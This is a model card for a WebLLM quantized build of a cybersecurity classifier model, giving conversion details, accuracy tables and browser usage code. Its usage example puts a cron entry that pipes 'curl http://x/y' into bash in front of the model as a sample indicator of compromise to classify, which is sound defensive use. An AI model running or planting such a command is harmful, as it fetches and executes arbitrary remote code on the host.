Instructions to use eduardoworrel/alias3-micro-1026-MLC-q4f32_1 with libraries, inference providers, notebooks, and local apps. Follow these links to get started.
- Libraries
- MLC-LLM
How to use eduardoworrel/alias3-micro-1026-MLC-q4f32_1 with MLC-LLM:
# No code snippets available yet for this library. # To use this model, check the repository files and the library's documentation. # Want to help? PRs adding snippets are welcome at: # https://github.com/huggingface/huggingface.js
- Notebooks
- Google Colab
- Kaggle
alias3-micro-1026 · MLC q4f32_1 (WebLLM)
MLC / WebLLM build of aliasrobotics/alias3-micro-1026 quantized to q4f32_1, for chat and System 1 decisions in the browser.
Browser: this whole repo (2.37 GB of weights, WebLLM 0.2.86 on WebGPU, model lib = official mlc-ai prebuilt) — use for head reads (hidden closest to fp32 among the MLC builds).
Base model: aliasrobotics/alias3-micro-1026 (Alias Robotics), whose card labels the weights a “research preview”. Paper: arXiv:2610.16550. System 1 / System 2 and the bilinear pointer-head interface come from that paper, which draws on Kahneman's dual-process framing and adapts the typed-decision head from the Jev / System One lineage of TypeSafe AI (pointer networks, Vinyals et al., 2015).
ONNX · transformers.js | ONNX · GenAI | ONNX · decode-only | MLC q4f32_1 | MLC q4f16_1 | LiteRT.js
Score vs size
Produced by: weights — mlc-llm with our loader edit · model lib — official mlc-ai prebuilt · mlc-chat-config.json: stop ids, empty system message, context and chunk sizes set by us.
System 1 per file
Accuracy is not statistically distinguishable from the original (0 of 10 paired tests, McNemar, before or after Holm correction); individual decisions change on 19.8% of questions; the test set (50–65 questions per mode) only detects large losses.
Head reads here were measured with the hidden state recovered by least squares from the full logits (32,768 vocab rows); with the 8,192-row P (f32) the recovery error is ≤ 8e-5 and severity levels match on 30/30 checked cases (shipped as f16).
Dark segment: accuracy when the answer is read straight from the model's logits (the Yes/No, option or digit tokens). Lighter segment: the extra accuracy when the readout head (head.bin, or head_score.bin for severity) reads the hidden state instead. Severity (head_score.bin) is a proof of concept: fitted on 30 synthetic cases; using it as a severity scorer calls for a larger, independently labelled set.
System 1 table on the decision test set (logits / head per mode)
Status vs the original model: 🟢 within 2 answers of the original (or better) · 🟡 3+ below the original, not significant · 🔴 significantly below the original (McNemar p < 0.05) · ⚪ original model (PyTorch bf16), the reference.
| file | yes/no (65) · logits | yes/no (65) · head.bin | multiple choice (57) · logits | multiple choice (57) · head.bin | severity (50) exact · logits | severity (50) exact · head_score.bin | severity (50) ±1 · head_score.bin | changed answers vs original (default read) |
|---|---|---|---|---|---|---|---|---|
Original (PyTorch bf16) |
⚪ 54/65 | ⚪ 54/65 | ⚪ 39/57 | ⚪ 46/57 | ⚪ 20/50 | ⚪ 26/50 | ⚪ 47/50 | — |
MLC q4f32_1 |
🟢 54/65 | 🟢 54/65 | 🟢 38/57 | 🟢 45/57 | 🟢 20/50 | 🟡 22/50 | 🟢 50/50 | 19.8% |
Build: WebLLM 0.2.86, Chrome WebGPU; logits from a LogitProcessor; head reads use the recovered hidden state.
Browser details (load, timing, agreement)
| file | size | fits browser | load (Chrome) | time per decision | Chrome decisions = server |
|---|---|---|---|---|---|
| this repo (76 shards) | 2.37 GB | ✅ | 26.3 s | 1.2 s (1 prefill, logits read) · 5.8 s mean per probe (all reads) | no server runtime · = ONNX decode-only fp32 (onnxruntime CUDA) 348/394 |
Same decisions as the original model (PyTorch bf16): 138/172 (default read per mode). Chrome WebGPU, Apple M2 Pro. One prefill: median 1.19 s, p90 3.9 s. Head raw output Pearson vs ONNX decode-only fp32: yes/no 0.979 / severity 0.970; vs ONNX decode-only q4f16: yes/no 0.9994 / severity 0.9990.
Files: size, tool, runtime
| file | dtype | size | external data | produced by | runtime (measured) |
|---|---|---|---|---|---|
params_shard_0.bin … params_shard_75.bin |
q4f32_1 |
2.37 GB | 76 shards | O+P · mlc-llm with native qwen3_5 support (GatedDeltaNet hybrid); one-line loader edit (key prefix) by us |
WebLLM 0.2.86, Chrome WebGPU |
| model lib (not in repo) | — | — | — | O · official mlc-ai prebuilt Qwen3.5-4B-q4f32_1_cs1k-webgpu.wasm (v0_2_86) |
WebLLM 0.2.86 |
mlc-chat-config.json |
— | 2,370 B | — | O+P · mlc-llm; stop ids, empty system message, context and chunk sizes set by us | — |
ndarray-cache.json · tensor-cache.json |
— | 237,314 B each | — | O · mlc-llm (identical copies) | — |
Provenance: O = official tool as-is · O+P = official tool + our patch or wrapper · S = our script (what the official tool does not do). Also: tokenizer, SHA256SUMS.txt.
Generation (System 2)
System 1 = single-forward typed decisions through the bilinear pointer head (sections above); System 2 = generation, the usual decode loop from the same weights. Terms as in the base model card and the paper.
96-step greedy, 22-token prompt. Reference = the decode-only fp32 ONNX tokens on onnxruntime CPU (method of record; there is no bf16 original generation run).
Generation details per file
| file | test | free-running = fp32 | first divergence | teacher-forced | notes |
|---|---|---|---|---|---|
q4f32_1 |
96-step greedy | 2/96 | 2 | 88/96 | teacher-forced cos mean 0.9600 |
Reference: ONNX decode-only fp32 on onnxruntime CPU, 22-token prompt; build run in WebLLM, Chrome WebGPU.
Peculiarities
- weights: 76 shards, 2.37 GB; 579 tensors, same layout as mlc-ai
Qwen3.5-4B-q4f32_1-MLC, CT0 weights - model lib: none in this repo → official prebuilt
Qwen3.5-4B-q4f32_1_cs1k-webgpu.wasm - activations: fp32 (no
shader-f16needed); fp32 scales stored as bf16 context_window_size/prefill_chunk_size: 4096 / 1024 (overrides.context_window_sizefor longer prompts)- stop / EOS ids:
[248046, 248044](im_end, endoftext of this vocabulary) - head outputs exposed: hidden name: none (logits only); rebuilt by least squares on the tied embedding (residual ≤ 9.4e-05)
- head-read cost: 1 prefill per head position (yes/no and severity 2, multiple choice 2+K) + ~20 ms recovery with
recovery/P_q4f32_8192.f16(40 MiB) - logits read:
LogitProcessor, main-threadMLCEngine;top_logprobsis one-hot at temperature 0 - hidden vs PyTorch fp32 (sev30, min cos):
<decide>0.981 · last 0.969 - tokenizer: identical to the base model; prompt token counts equal on all prefills
- build toolchain: weights were converted with
mlc_llm convert_weightandgen_configbuilt from the mlc-llm source at commit 05f79e1 (with its own TVM). No model library was compiled by us: the official prebuilt library is used (not in this repo). - checkpoint key prefix (loader edit): mlc-llm's
qwen3_5loader expects text weights undermodel.language_model., while this checkpoint stores them undermodel.. We changed the prefix in the loader (one line) for this conversion; the checkpoint is untouched. The result has the same 579 tensor names, shapes and dtypes as the officialQwen3.5-4B-q4f32_1-MLCbuild. mlc-chat-config.jsonedits:gen_configwas run with theqwen2chat template, whose stop ids (151643, 151645) belong to the Qwen2 vocabulary; in this vocabulary<|im_end|>is 248046. We set the stop ids to[248046, 248044]and an empty system message (otherwise “You are a helpful assistant.” is injected), and setcontext_window_size4096 andprefill_chunk_size1024 (the chunk size matches the library; 4096 bounds KV memory). It matters forchat.completions; our measurements use rawcompletions.- hidden state recovered from logits: the official library exports logits only (no hidden-state function), and recompiling it was not done. Because the embedding is tied (
logits = E·h), we recover the post-final-norm hidden statehby least squares from the logits of a prefill truncated at each position the head reads; the model is causal, so the hidden state at a position does not depend on later tokens. Effect: one prefill per head position (see head-read cost above), and the hidden state is an estimate, not an exact output (cosine against PyTorch fp32 in the table above). - logits read through a logit processor: WebLLM's
top_logprobsis capped at 5 and is one-hot at temperature 0, so it cannot give the logits. We read the full fp32 logit vector at the last prompt position with aLogitProcessorandmax_tokens: 1, which works only with the main-threadMLCEngine(the web-worker engine ignores the processor). - System 1 head file (
head.binrecovered from a truncated release file) and prompt markers: the officialhead.ptis a truncated streaming zip and cannot be loaded, sohead.binis recovered from it (qexact;k.weight89% of rows;k.biaslost and estimated as one offset). The marker-to-id mapping is not released, so the prompt markers are plain text, and the official System 1 endpoint needs a fork of SGLang (--systemone-head) that is not in public SGLang. Table and numbers: “Changes to the official head” below.
Our patches and scripts are kept by the authors and are available on request.
Usage
import { CT0 } from "ct0-edge";
const ct0 = await CT0.load({ runtime: "webllm", mlc: { build: "q4f32_1" } }); // tokenizer, heads and recovery/ from this repo
const state = "path: /etc/cron.d/x\ncontent: * * * * * curl http://x/y | bash";
await ct0.ask({ kind: "noul", state, q: "Is this a suspicious indicator of compromise?" });
await ct0.ask({ kind: "score", state }); // head_score.bin via recovery
for await (const piece of ct0.generate("Explain this cron entry.", { maxNewTokens: 128 })) console.log(piece);
Heads
| file | size | read by | shipped |
|---|---|---|---|
heads/head.bin |
2,622,548 B | yes/no, multiple choice — bilinear pointer head over the hidden at <decide> and at the last / option positions |
✅ in this repo |
heads/head_score.bin |
2,622,668 B | severity (levels 1–5) — ridge probe on the last-position hidden, same file format (proof of concept: fitted on 30 synthetic cases; using it as a severity scorer calls for a larger, independently labelled set.) | ✅ in this repo |
| file | size | used for | shipped |
|---|---|---|---|
recovery/P_q4f32_8192.f16 + recovery/P_q4f32_rows.i32 |
41,943,040 B + 32,768 B | recover the hidden state from the logits, h = P·logits[rows] (8,192 vocab rows of this build's tied embedding), so the head reads run in WebLLM | ✅ in this repo |
| mode | ct0-edge default read | alternative |
|---|---|---|
| yes/no | logits Yes vs No (no head) |
head.bin |
| multiple choice (1 of K) | head.bin |
logits of each option's first token |
| severity (1–5) | head_score.bin |
logits of digits 1…5 |
Hidden positions: <decide> (the final > of its 4 tokens >< dec ide >) and the last prompt position (choice: each option's position); on MLC each position is one truncated-prefix prefill.
Changes to the official head
Each decision is read two ways from one prefill: by the logits at the last prompt position (no extra weights) and by the head on the hidden states at <decide> and the key positions (the rows after the first).
| official (base card / paper) | ours | why | |
|---|---|---|---|
| logits read | not part of the official System 1 (the paper leaves head-vs-logits to future work) | compare next-token logits: Yes vs No; first token of each option; digits 1–5 |
weight-free baseline every runtime supports; the dark segment in the System 1 figure |
| weights file | head.pt on the base repo: truncated streaming zip (no central directory), cut inside k.weight |
head.bin, recovered from it: q.weight/q.bias 100% (CRC match), k.weight 89% (227/256 rows), k.bias lost → one score offset (+16.27) estimated without labels |
the official file cannot be loaded |
| format | PyTorch head.pt for the CSI SGLang fork (--systemone-head) |
head.bin (fp16, JSON header) read by ct0-edge systemone.ts in JS, same math |
on-device runtimes |
| yes/no read | bilinear pointer head with K = 2 options | query at <decide>, key at the last position, plus the offset |
marker-to-id mapping and prompt row are not published |
| severity read | ordinal scale as a K-option pointer (System 1 severity 44.4% in the paper) | new head_score.bin: ridge probe on the last-position hidden (λ = 10), encoded exactly in head.bin's 2-row layout; trained on 30 labelled cases, measured on the 50 severity questions (proof of concept: fitted on 30 synthetic cases; using it as a severity scorer calls for a larger, independently labelled set.) |
the released head does not order severity |
| prompt markers | reserved ids (mapping unpublished) | plain-text markers | see the note below the table |
| temperature / orientation | T = 2.0; query at <decide>, keys at </opt> |
kept as released | — |
Prompt markers: the paper maps the markers (<state>, <q>, <opt>, </opt>, <decide>) onto reserved token ids. The model has 243 unnamed embedding slots (ids 248077–248319) beyond the tokenizer's last token (248076), but the marker-to-id mapping isn't published, so we write the markers as plain text, which the tokenizer splits into ordinary tokens.
“Extra from the head” in the System 1 figure = how many more questions the head read gets right than the logits read on the same decision test set (ours).
How measured
- Decision test set (ours): 172 security questions with known answers, written by us (not part of the CT0 release): 65 yes/no, 57 multiple choice (chance 0.272), 50 severity (1–5, held out from
head_score.bin); sha25688e0f6c5… - Stats: 95% bootstrap CI (2000 resamples) · McNemar exact, paired per question, vs the original model (PyTorch bf16, revision
61c0e710) - Hardware: server rows: onnxruntime CUDA EP on RunPod GPUs · browser rows: Chrome 155 WebGPU, Apple M2 Pro
- Runtime: MLC rows: WebLLM 0.2.86, main-thread MLCEngine, temperature 0
- Files: eduardoworrel/alias3-micro-1026-MLC-q4f32_1 · base model: aliasrobotics/alias3-micro-1026
Citation
If you use these files, please cite the base model:
@article{ct0_2026,
title = {{CT0}: Cybersecurity Transformer},
author = {Mayoral-Vilches, V{\'i}ctor and {Alias Robotics}},
journal = {arXiv preprint arXiv:2610.16550},
year = {2026},
url = {https://arxiv.org/abs/2610.16550}
}
Base model card: aliasrobotics/alias3-micro-1026.
License: Apache-2.0 (weights, as upstream).
- Downloads last month
- 27